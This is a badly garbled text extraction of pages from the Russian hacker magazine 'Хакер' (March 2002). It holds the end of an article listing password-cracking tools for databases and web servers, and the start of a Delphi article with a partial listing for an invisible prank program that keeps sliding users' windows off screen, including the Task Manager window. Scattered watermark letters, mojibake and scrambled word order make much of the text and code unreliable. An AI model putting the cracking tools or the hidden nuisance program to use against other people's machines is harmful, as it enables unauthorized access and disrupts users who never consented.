Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
18
Добавлен:
20.04.2024
Размер:
17.34 Mб
Скачать

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

ХАКЕР\¹39\Март\2002P

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

r

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

< Folder4>

Графический интерфейс BeatLM

Однако существуют специальные средства, предназначенные для взлома только СУБД. Например, MySQL brute force password hash cracker (www.securiteam.com/tools/5YP0H0A40O.html), который позволяет взламывать зашифрованные пароли к базе данных MySQL.

На сервере www.cqure.net ты можешь скачать еще не законченную, но уже эффективную утилиту SQL Auditing Tool, которая позволяет подбирать пароли для пользователей, зарегистрированных MS SQL Server. Аналогичные действия (тоже для MS SQL Server) позволяет выполнить утилита SQLdict (http://ntsecurity.nu).

Другие средства

Если ты не смог подобрать пароль с помощью рассмотренных прог - не переживай. Попробуй какоенибудь другое средство, перечисленное ниже.

На странице http://kapheine.hypa.net/authforce/index.php ты сможешь найти софтину AuthForce для взлома Webсерверов, а на странице www.jps.net/coati/ archives/slurpie.tgz доступна очень интересная утилита Slurpie, являющаяся полным аналогом John the Ripper за одним небольшим исключением. Slurpie позволяет осуществлять подбор пароля, распределяя эту задачу среди нескольких серверов, на которых тебе нужно будет запустить соответствующие утилиты.

Заканчивая описание средств подбора паролей, хочу еще пару слов сказать и о коммерческих продуктах, которые хоть и стоят денег (подчас немалых), но и зачастую являются более эффективны-

ми, чем их бесплатные сородичи. Как и в предыдущей своей статье, посвященной обманным системам (смотри Х #12’01), я коснусь решений компании Internet Security Systems, хорошо знакомой в России.

Подбор паролей реализован во всех трех сканерах от этой компании:

*Internet Scanner - поиск уязвимостей и подбор паролей на уровне сети (для Web-серверов, маршрутизаторов, межсетевых экранов и т.д.);

*System Scanner - поиск уязвимостей и подбор паролей на уровне операционной системы Linux, Solaris, Windows NT, 2000, HP UX, AIX и т.д.;

*Database Scanner - поиск уязвимостей и подбор паролей на уровне СУБД (MS SQL Server, Oracle и Sybase).

Заключение

В заключение хочу сказать, что если бы юзеры выбирали себе нормальные пароли, совмещающие в себе и цифры, и буквы в различном регистре и имеющие длину не менее 8 символов, то жизнь хакеров существенно бы осложнилась. А пока могу только порекомендовать нерадивым пользователям повесить над своим рабочим столом плакат: «А ты сменил свой пароль?» Хотя, если вспомнить, что большинство юзеров ве-

шают прямо на монитор бумажку, на которой написан этот ужасный, так трудно запоминаемый и вообще неизвестно каким идиотом придуманный пароль... :)

< Взлом >20/03\02

2 PC_Zone 3 X-Стиль 4 Взлом

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

m

Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

ПЕРЕКЛЮЧАЮЩИЕСЯ ЭКРАНЫ НА СЛУЖБЕ У Х-ПАРНЕЙ

Horrific aka Фленов Михаил (smirnandr@mail.ru) www.cydsoft.com/vr-online

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Переключающиеся

 

экраны

 

 

é

 

 

 

 

 

 

 

 

 

 

парне

 

 

на службе у Х-

 

áûëà åùå ïîä

Win 3.1),

 

 

когда появилась первая версия

проги Dashboard (она

 

 

 

позже я

Помниться,

 

 

 

 

 

. Немного

 

 

 

 

ее возможность переключать

 

 

 

сильно заинтересовала

экраны

 

 

написал

меня очень

 

.

Я некоторое время помучился и

узнал,

÷òî ýòà

возможность была слизана с Linux

 

 

ïîä

.x. Сегодня

ìû

 

 

 

маленькую тулзу

для переключения экранов

Win9

 

 

.

собственную

 

 

 

 

 

 

этим нехитрым приемом для приколов

над бедными юзерами

 

воспользуемся

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.cydsoft.com/vr

 

 

 

 

 

 

 

 

 

 

 

.ru) www

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил (smirnandr@mail

 

 

 

 

 

 

 

 

Как это работает?

 

 

 

 

 

 

 

 

 

 

разу открою тебе секрет, никакого

переключения экранов реально не

 

 

 

 

 

стола за

 

 

.

Просто все видимые окна убираются с рабочего

 

 

 

-

происходит

 

 

 

 

 

 

 

 

 

 

 

 

Ñ åãî

пределы так, чтобы ты их не видел. После

этого перед юзером оста

 

 

 

 

âñå

ется чистый рабочий стол. Когда юзер

хочет вернуться к старому экрану, то

все гениальное - просто.

 

 

 

 

 

 

 

 

. Как видишь,

 

 

 

-

возвращается на родину

 

 

 

 

 

 

 

 

 

 

Для того чтобы лжепереключения

происходили быстро, в окнах есть несколь

 

 

 

 

. Я воспользуюсь

ко специальных

функций, которые мы сегодня рассмотрим

 

убирать

âñå

 

чтобы написать прогу, которая

будет плавно

этими функциями,

 

. Ïðî-

 

 

 

 

. Каждые

10 секунд все окна будут уезжать влево

 

 

 

 

 

 

 

 

 

 

 

задачи. Самое

видимые окна с экрана

 

 

 

ее можно только снятием

га будет невидима,

поэтому закрыть

 

 

 

 

 

за этим процессом,

потому что если ты не успеешь

интересное - наблюдать

задач тоже убежит, и придется

снять прогу за 10 секунд, то окно диспетчера

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

начинать все заново

 

 

 

 

 

 

 

 

 

 

 

Êòåëó!

е буду больше болтать, а перейду к делу. Пример проги очень большой,

Íи я и так не смогу его объяснить полностью, так что приступим.

Создай новый проект.

Наше приложение

будет без форм, поэтому нужно все

 

 

 

 

 

 

. Выбери

из меню View пункт Project Manager и здесь удали

лишнее удалить

 

 

 

 

 

имени проекта

(по умолчанию это

Unit1. Теперь щелкни правой кнопкой по

 

.

 

 

 

Project1.ехе) и выбери

в появившемся меню пункт View Source

 

програм-

здесь оставим только первую строку с именем

Из всего содержимого

 

-

 

 

 

 

 

 

 

 

. Все осталь

мы и строку uses, куда

допишем еще два модуля windows и classes

 

сжать

 

 

пиши содержимое листинга 1. Я постарался

ное удаляй, а вместо этого

 

 

 

 

 

íå ó âñåõ, ïî-

код до максимума,

потому что журнал не резиновый, а Инет есть

 

 

 

 

 

 

 

 

размеров.

 

 

 

 

этому запускной файл будет не маленьких

 

 

 

 

 

 

 

 

 

Анатомия

 

 

 

 

Ï

ервым делом

я инициализирую переменную

WindowsList типа объект

. ß áóäó çà-

TList, который может работать как список

любых элементов

носить

в этот список идентификаторы

всех видимых окон.

 

 

 

 

 

 

 

 

Ðèñ 1. Îêíî Project Manager

 

 

 

 

 

 

 

 

 

 

 

 

 

Âíóò-

Далее я запускаю бесконечный

цикл с помощью вызова “while (true) do”.

 

 

 

 

 

 

 

части: сдвиг окна и задержка в 10 се-

ри цикла код делится на две маленькие

 

 

íå îäèí

ðàç, õîòÿ

ÿ äî ñèõ ïîð íå îáú-

кунд. С задержкой мы уже сталкивались

 

 

 

 

 

 

 

потому что пример

 

 

. Ну, ничего, и сейчас потерпишь,

яснил, как она происходит

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

большой и много надо объяснить

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сдвиг окон происходит в цикле:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for i:=0 downto - Screen.Width do

 

i изменяется от 0

до минус ширина эк-

Здесь я запускаю цикл,

где переменная

 

 

 

 

экрана

 

 

. В этой строке

рана. Это значит, что я сдвигаю все содержимое

влево

 

 

 

 

использовали просто

 

 

 

 

.

До этого мы всегда

очень интересным

является downto

 

 

 

 

 

 

 

 

. При downto переменная

 

 

 

 

 

 

 

 

 

 

 

 

to, при котором значение переменной

увеличивается

 

 

 

 

-

 

 

. Внутри цикла я первым делом

очищаю список види

I, наоборот, уменьшается

 

 

 

 

 

 

 

 

 

 

 

 

. Для поиска види-

ìûõ îêîí - WindowsList

- и заполняю

его новыми значениями

 

 

ãëàâ-

мых окон я использую GetWindow,

которая может искать все окна, включая

 

 

. Идентификатор найденного окна я сохраняю в переменной

ные и подчиненные

можно проверять

ñ

 

помощью

вызова функции

W. Видимость

îêíà

 

 

 

îêíà. Åñëè

ôóíê-

 

 

 

 

параметра идентификатор

IsWindowVisible, передав в качестве

. Åñëè íåò,

 

 

 

 

è

 

 

 

 

 

 

ция возвращает true, значит, окно видимо

его можно будет двигать

 

 

 

 

 

 

 

 

 

.

 

 

то окно или невидимо, или свернуто, а такие окна

двигать бесполезно

 

 

 

 

 

 

 

 

71

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

to

 

 

 

 

 

 

 

o

Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПЕРЕКЛЮЧАЮЩИЕСЯ ЭКРАНЫ НА СЛУЖБЕ У Х-ПАРНЕЙ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил (smirnandr@mail.ru)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

www.cydsoft.com/vr-online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Сдвиг по фазе

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

теперь сам

 

 

 

.

 

Îí

 

начинается

ñ

вызова API функции

 

 

 

 

 

 

 

À

 

 

сдвиг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Эта функция выделяет память для нового окна рабо-

 

 

 

 

 

 

 

BeginDeferWindowPos

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

В качестве параме-

 

 

 

 

 

 

÷åãî

стола, куда мы будем сдвигать все видимые окна.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îêîí

мы будем двигать.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тра нужно указать, сколько

 

 

 

все окна из подго-

 

 

 

 

 

 

 

 

 

 

 

успешно, то я

перебираю

 

 

 

 

 

 

 

Если предыдущие шаги выполнены

 

область

ïà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

в подготовленную

 

 

 

 

 

 

 

товленного

списка и сдвигаю их. Для сдвига окна

 

 

 

 

íè-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. В данный момент не происходит

 

 

 

 

 

 

 

мяти используется

функция DeferWindowPos

 

только информация о позиции

 

 

 

 

 

 

 

каких реальных перемещений

окон, а изменяется

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Âîò

 

 

 

 

 

 

 

 

и размерах

 

 

 

âñåõ îêîí

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После перемещения

я вызываю API функцию EndDeferWindowPos

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Это происходит практически мо-

 

 

 

 

 

 

 

 

тут окна реально перескакивают

в новое место

функцию SetWindowPos

äëÿ óñ-

 

 

 

 

 

 

 

 

 

 

простую API

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Если бы ты использовал

 

áû íà-

 

 

 

 

 

 

 

 

ментально

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

то прорисовка происходила

 

 

 

 

 

 

 

 

 

тановки позиции каждого окна в отдельности,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

много медленнее

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Хитрим однакос

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

всегда тебе говорил, что все переменные

типа объектов должны инициа

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

Во время инициализации выделяется па-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лизироваться

и уничтожаться

 

 

 

 

 

 

 

 

 

 

. В моем примере я

 

 

 

 

 

 

 

 

 

ß ìÿòü,

а во время уничтожения

 

память освобождается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Почему, Ведь

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

типа TList, но нигде

 

 

 

 

 

 

 

 

 

 

 

 

создал переменную WindowsList

не уничтожаю

 

 

 

 

è åå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

программа выполняется бесконечно,

 

 

 

 

 

 

 

 

 

 

я расходую память? Все очень просто,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

работа может прерваться только по

двум причинам:

 

 

 

 

 

 

 

 

ïà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. В этом случае, даже если я буду освобождать

 

 

 

 

 

 

 

 

 

 

 

 

1. Выключили компьютер

 

 

 

 

потому что

компьютер выключат ;).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мять, то она никому не понадобится,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кто-то додумается

до этого, то програм-

 

 

 

 

 

 

 

 

 

 

2. Кто-то умный снял процесс. Åñëè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ма закончит

выполнение аварийно и память все равно не освободится

 

 

 

 

 

Íî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

объект бесполезно,

поэтому я этого не делаю.

 

 

 

 

 

 

 

 

 

 

 

Получается, что освобождать

 

 

 

 

 

 

 

уничто

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

такими вещами и все же выполнять

 

 

 

 

 

 

 

 

 

 

 

все же не советую тебе пренебрегать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

жения объектов в любом случае

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Задержка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

то не задержка, о которой

 

 

 

 

 

 

. Это та, что останавливает работу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ты подумал

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

проги на определенный промежуток

времени. Состоит она из трех неза

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ý мысловатых

функций:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

teEvent(nil, true, false, ‘’) - создает пустое событие

 

 

 

 

 

 

êàê

 

 

 

 

 

 

 

 

 

 

 

 

h:=Crea

 

 

 

 

t(h, 10000)

- ожидание,

пока не наступит событие. Так

 

 

 

 

 

 

 

 

 

 

 

 

WaitForSingleObjec

 

 

 

 

 

 

 

 

 

 

 

 

времени,

сколько указано во вто-

 

 

 

 

 

 

 

 

 

 

 

 

событие пустое,

ожидание будет идти столько

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ром параметре

 

 

- уничтожаем событие.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

CloseHandle(h)

 

 

 

 

 

 

 

 

 

 

. Åñòü

 

 

 

 

 

 

 

 

 

 

 

 

Вот таким небольшим трюком мы делаем паузу

в выполнении программы

 

-

 

 

 

 

 

 

 

 

 

 

 

 

еще одна функция для осуществления

задержки - sleep. Она проще в использова

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нии, но грузит систему, поэтому я ее не использую

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

ЛИСТИНГ

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

o

m

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

var

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

i, j:Integer;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

h:THandle;

 

 

 

 

 

список видимых окон

 

 

 

 

 

 

 

 

 

 

 

WindowsList : TList; //Здесь будет храниться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WRct: TRect;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MWStruct: HDWP;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

W :THandl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Create; //Создаю список видимых окон

 

 

 

 

 

 

 

 

 

 

 

WindowsList:=TList

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

while (true) do

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

//Запускаю цикл сдвига окон

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

for i:=0 downto -Screen.Width do

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Clear; // Очищаю список

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WindowsList

 

 

 

_CHILD);

 

 

 

 

 

 

 

 

 

 

 

 

etDesktopWindow,GW

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

W:=GetWindow(G

 

 

 

 

видимых

îêíî

 

 

 

 

 

 

 

 

 

 

 

while W<>0 Do //Запускаю поиск всех

 

 

 

 

 

 

 

 

 

 

 

begin

 

 

åãî

в список

 

 

 

 

 

 

 

 

 

 

 

 

//Если окно видимо, то добавить

er(W));

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Add(Point

 

 

 

 

 

 

 

 

 

 

 

e(W) then WindowsList

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if IsWindowVisibl

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_HWNDNEXT);//Искать следующее окно

 

 

 

 

 

 

 

 

 

 

 

W:=GetWindow(W,GW

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

end;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.Count-1);//Начинаю сдвиг

 

 

 

 

 

 

 

 

